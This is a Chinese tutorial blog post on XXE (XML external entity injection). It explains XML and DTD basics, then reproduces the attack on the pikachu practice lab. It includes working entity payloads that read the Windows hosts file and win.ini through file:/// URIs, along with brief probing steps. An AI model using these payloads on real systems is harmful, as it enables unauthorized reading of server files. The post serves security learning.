XXE漏洞复现
目录
- XML基础
- 概念
- XML数据格式
- DTD基础
- 定义
- DTD作用
- 分类
- DTD实体
- 实体的分类
- DTD元素
- XXE漏洞
- 介绍
- 实操
- 如何探测xxe漏洞
XML基础
概念
-
什么是XML
- 是一种可扩展标记语言 (Extensible Markup Language, XML) ,标准通用标记语言的子集,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
-
特点
- 是一种标记语言
- 被设计来进行数据传输
- 可以自定义标签
- 具有层级结构
- 具有自我描述性
XML数据格式
声明
<?xml version="1.0" encoding="UTF-8" ?>元素/节点
(1)根节点: 有且只有一个根元素
(2)子节点: 可以嵌套,可以重复
(3)每个节点必须成对出现,空节点也必须成对出现
属性
(1)每个元素/节点可以有多个属性
(2)属性以键值对的方式出现:名称=“值”。属性的值添加双引号,多个属性以空格分开。
注释: <!-- 注释内容 -->
DTD基础
定义
DTD全称是The document type definition,即是文档类型定义,可定义合法的XML文档
它使用一系列合法的元素来定义文档的结构。DTD可以被成行的声明于XML
DTD作用
1.一个应用程序keyishiyongDTD来确认收到的XML数据是有效的
2.每一个XML文件可以携带一个自身格式的描述
3.不同组织的人可以使用一个通用DTD来交换数据
分类
DTD分为:内部DTD、外部DTD、共有DTD
- 内部DTD
- 存在xml文档中的

DOCTYPE:DTD声明,对note进行说明
以上
- 存在xml文档中的
<!DOCTYPE NOTE [
- ]>
都为DTD
-
外部DTD

可以看出把DTD写到了"note.dtd"中 -
共有DTD
<!DOCTYPE taglib PUBLIC "-//Sun Microsystems,Inc.//DTD JSP Tag Library 1.2//EN""http://java.sun.com/dtd/web-jsplibrary_1_2.dtd">
DTD实体
实体的概念:实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。
实体可在内部或外部进行声明。
实体的分类
分类:内部实体,外部实体、参数实体
- 内部实体:
- 外部实体:
- 参数实体
<!ENTITY % TAG_NAME "姓名|EMAIL|电话|地址">
<!ELEMENT 个人信息 (%TAG_NAME; |生日)>
<!ELEMENT 客户信息 (%TAG_NAME; |公司名)>
DTD元素
| 声明一个元素 | <!ENTITY 元素名称 类别> | <!ELEMENT 元素名称(元素内容)> |
|---|---|---|
| 空元素 | <!ENTITY 元素名称 EMPTY> | <!ELEMENT <br> EMPTY> <br/> |
| 只有PCDATA的元素 | <!ENTITY 元素名称 (#PCDATA)> | <!ELEMENT from (#PCDATA)> |
| 带任何内容的元素 | <!ENTITY 元素名称 ANY> | <!ELEMENT note ANY> |
| 带有子元素(序列)的元素 | <!ENTITY 元素名称 (子元素名称1,子元素名称2,........)> | <!ELEMENT note(to,from,heading,body)> |
XXE漏洞
介绍
- XXE -“xml external entity injection”
- “xml外部实体注入漏洞”
利用xxe漏洞可以进行拒绝服务攻击(DDos),文件读取,命令(代码)执行,SQL(XSS)注入,等
一般的xml:
第一部分:XML声明部分
<?xml version="**"?>
第二部分:文档类型定义 DTD
<!--定义此文档是note类型的文档-->
<!DOCTYPE note[
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">
]>
第三部分:文档元素
<note>
<to>nuc</to>
<from>grade20</from>
<head>2013040212</head>
<body>wpp</body>
</note>
实操
进入pikachu靶场
提交一个xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY hack "Edison.W"> ]> <name>&hack;</name>

外部实体引入攻击载荷使其访问host文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">
]>
<x>&f;</x>

再来一个,我们这次访问win.ini
<?xml version="1.0"?>
<!DOCTYPE a [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<xml>&xxe;</xml>

如何探测xxe漏洞
- 抓包,如果是xml格式的body,则发送一个<元素>数据</元素>
- 能回显,就可能存在XXE漏洞
相关文章:
XXE漏洞复现
目录XML基础概念XML数据格式DTD基础定义DTD作用分类DTD实体实体的分类DTD元素XXE漏洞介绍实操如何探测xxe漏洞XML基础 概念 什么是XML 是一种可扩展标记语言 (Extensible Markup Language, XML) ,标准通用标记语言的子集,可以用来标记数据、定义数据类型…...
初识C++需要了解的一些东西(2)
😁关注博主:翻斗花园第一代码手牛爷爷 😃Gitee仓库:牛爷爷爱写代码 目录🌍内联函数🌕内联函数概念🌖内联函数特性🌓auto关键字(C11)🌞类型别名⭐️auto简介☀️auto的使…...
全国程序员薪酬大曝光!看完我酸了····
2023年,随着互联网产业的蓬勃发展,程序员作为一个自带“高薪多金”标签的热门群体,被越来越多的人所关注。在过去充满未知的一年中,他们的职场现状发生了一定的改变。那么,程序员岗位的整体薪资水平、婚恋现状、职业方…...
改进YOLO系列 | CVPR2023最新Backbone | FasterNet 远超 ShuffleNet、MobileNet、MobileViT 等模型
论文地址:https://export.arxiv.org/pdf/2303.03667v1.pdf 为了设计快速神经网络,许多工作都集中在减少浮点运算(FLOPs)的数量上。然而,作者观察到FLOPs的这种减少不一定会带来延迟的类似程度的减少。这主要源于每秒低浮点运算(FLOPS)效率低下。并且,如此低的FLOPS主要…...
Nginx常见用法
一、Niginx是什么? Nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Niginx是一款轻量级的web服务器/反向代理器,Nginx是高性能的HTTP和 反向代理的web服务器,处理高并发的能力十分强大,…...
MySQL存储引擎和日志管理
MySQL存储引擎和日志管理一、存储引擎的概念1、Myisam的特点2、Myisam表支持 3 种不同的存储格式3、innodb4、死锁5、查看系统支持的存储引擎6、查看表使用的存储引擎7、修改存储引擎8、通过 create table 创建表时指定存储引擎二、日志管理1、错误日志2、通用查询日志3、慢查询…...
Arduino 驱动DS1307时钟模块使用介绍
Arduino 驱动DS1307时钟模块使用介绍 🔖DS1307时钟模块 📍DS1307时钟模块资料 https://pan.baidu.com/s/1mtXruLAktZj7UDhFD54BNw 提取码:d9xh 📋模块简介:DS1307 I2C实时时钟芯片(RTC) 24C32 32K I2C EEPROM存储器 解决DS1307带备用电池不能读写的问题。 充满电后,…...
为什么 Python 没有 main 函数?
众所周知,Python中没有所谓的main函数,但是网上经常有文章提到“ Python的main函数”和“建议编写main函数”。 其实,可能他们是想模仿真正的main函数,但是许多人都被误导(或误解),然后编写了非…...
【无标题】使用Bibtex4word 整理毕业论文参考文献
Bibtex4Word使用一览需要安装和配置的软件texLiveBibtex4word需要安装和配置的软件 texLive 这个就不多说啦,大家自己找教程安装吧,因为我之前装过这一系列所以就不再来一遍了,但是有两条配置需要注意! 添加环境变量 key: BIB…...
19--网络API(java版)
什么是网络API在一个网站里面发起https请求是很常见的,但是,由于微信小程序是腾讯内部的产品,不能直接打开一个外部的链接,例如,您在微信小程序里面无法直接打开网站,但是,在做小程序开发的时候…...
ElasticSearch - 分片内部原理之动态更新索引、近实时搜索、持久化变更、段合并
文章目录01. ElasticSearch 倒排索引是什么?02. ElasticSearch 倒排索引为什么是不可变的?03. ElasticSearch 索引文档原理?04. ElasticSearch 如何动态更新索引?05. ElasticSearch 文档的新增、删除、更新?06. Elasti…...
模拟数据采集卡之ADCTDC 模拟时间/数字转换器组合应用选型指南
简介 产品组合包括一系列多功能时间到数字转换器(TDC)和模数转换器(ADC)。我们的许多客户的应用场景依赖于对飞行时 间(TOF)的测量。该系列产品非常适合用于质谱系统(TOF-MS),光学相干断层扫描(OCT),荧光寿命成像显微镜(FLIM), 时间相关单光子…...
R语言编程基础
文章目录安装运算符判断函数递归安装 根据自己的操作系统,下载R语言环境后,安装,并将安装路径加入到环境变量,即可从命令行进入R环境 >rR version 4.2.2 (2022-10-31 ucrt) -- "Innocent and Trusting" Copyright …...
2023-03-15:屏幕录制并且显示视频,不要用命令。代码用go语言编写。
2023-03-15:屏幕录制并且显示视频,不要用命令。代码用go语言编写。 答案2023-03-15: 使用moonfdd/ffmpeg-go和moonfdd/sdl2-go库来实现屏幕录制并显示视频,大体流程如下: 1.使用libavdevice库中的AVInputFormat&…...
STM32外设-DMA
1. 简介 DMA(Direct Memory Access)—直接存储器存取,是单片机的一个外设,它的主要功能是用来搬数据,但是不需要占用 CPU,即在传输数据的时候, CPU 可以干其他的事情,好像是多线程一样。数据传输支持从外设…...
【面试题】面试官:如果后端给你 1w 条数据,你如何做展示?
最近一位朋友参加阿b的面试,然后面试官问了她这个问题,我问她咋写的,她一脸淡定的说:“虚拟列表。”大厂面试题分享 面试题库前后端面试题库 (面试必备) 推荐:★★★★★地址:前端面…...
第十二届蓝桥杯省赛详解
试题A:空间 1B是8位,32位二进制数占用4B空间,1MB2^10KB2^20B 那么可以存放32位二进制数的个数为256*2^20*8/3267108864 试题B:卡片 分析:因为数据只有2021,所以直接模拟即可 结果为:3181&…...
ssh创建秘钥对
1. 使用ssh-keygen 生成秘钥对 [root6zix89b87qmvuv ~]# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): 按回车键或设置密钥的存储路径 Enter passphrase (empty for no passphrase): 按回车键或设置密钥的存…...
JS中sort()方法返回值?
参考 https://segmentfault.com/q/1010000043489928 精辟解释 就是说 sort() 会修改原数组项的排序,sort() 结束后会返回一个数组结果,这个结果其实就是原数组。并不是说会返回一个新的数组。 原理讲解 JS 分为栈内存和堆内存,栈内存可以…...
07从零开始学Java之如何正确的编写Java代码?
作者:孙玉昌,昵称【一一哥】,另外【壹壹哥】也是我哦CSDN博客专家、万粉博主、阿里云专家博主、掘金优质作者前言在上一篇文章中,壹哥带领大家开始编写了第一个Java案例,在我们的cmd命令窗口中输出了”Hello World“这…...
大数据零基础学习day1之环境准备和大数据初步理解
学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 (1)设置网关 打开VMware虚拟机,点击编辑…...
【算法训练营Day07】字符串part1
文章目录 反转字符串反转字符串II替换数字 反转字符串 题目链接:344. 反转字符串 双指针法,两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...
网络编程(UDP编程)
思维导图 UDP基础编程(单播) 1.流程图 服务器:短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...
USB Over IP专用硬件的5个特点
USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中,从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备(如专用硬件设备),从而消除了直接物理连接的需要。USB over IP的…...
基于 TAPD 进行项目管理
起因 自己写了个小工具,仓库用的Github。之前在用markdown进行需求管理,现在随着功能的增加,感觉有点难以管理了,所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD,需要提供一个企业名新建一个项目&#…...
2025年渗透测试面试题总结-腾讯[实习]科恩实验室-安全工程师(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。 目录 腾讯[实习]科恩实验室-安全工程师 一、网络与协议 1. TCP三次握手 2. SYN扫描原理 3. HTTPS证书机制 二…...
宇树科技,改名了!
提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...
云原生周刊:k0s 成为 CNCF 沙箱项目
开源项目推荐 HAMi HAMi(原名 k8s‑vGPU‑scheduler)是一款 CNCF Sandbox 级别的开源 K8s 中间件,通过虚拟化 GPU/NPU 等异构设备并支持内存、计算核心时间片隔离及共享调度,为容器提供统一接口,实现细粒度资源配额…...
2025年低延迟业务DDoS防护全攻略:高可用架构与实战方案
一、延迟敏感行业面临的DDoS攻击新挑战 2025年,金融交易、实时竞技游戏、工业物联网等低延迟业务成为DDoS攻击的首要目标。攻击呈现三大特征: AI驱动的自适应攻击:攻击流量模拟真实用户行为,差异率低至0.5%,传统规则引…...
React父子组件通信:Props怎么用?如何从父组件向子组件传递数据?
系列回顾: 在上一篇《React核心概念:State是什么?》中,我们学习了如何使用useState让一个组件拥有自己的内部数据(State),并通过一个计数器案例,实现了组件的自我更新。这很棒&#…...
